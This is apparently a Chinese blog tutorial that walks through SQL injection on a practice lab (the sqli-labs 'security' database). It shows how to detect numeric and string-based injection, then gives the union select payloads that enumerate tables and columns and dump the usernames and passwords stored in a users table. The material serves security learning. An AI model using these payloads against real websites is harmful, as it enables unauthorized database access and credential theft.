判断存在什么类型的sql注入漏洞

1数字型

select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 :

Url 地址中输入x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

2字符型

select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

Url 地址中输入 x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入 x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
image
输入 id = 1 and 1 = 1有回显
image
输入 id = 1 and 1 = 2有回显,说明不是数字型注入
image
输入 id = 1‘ and ’1‘ = ’1有回显
image
输入 id = 1‘ and ’1‘ = ’2无回显,所以是字符型注入

使用order by判断字段数

image
id = 1' order by 4 --+时候的出现了报错,说明有三个字段

使用union爆出显示位

image
id = -1' union select 1,2,3 --+可以发现第二位和第三位可以回显
image
查版本和数据库名

id = -1' union select 1,database(),version() --+

image

查表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

image
查列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- +

image

查数据

?id=-1' union select 1,group_concat(username),group_concat(password) from users -- +

得到了账号和密码

posted on 2025-10-11 22:02  M1nQ  阅读(4)  评论(0)    收藏  举报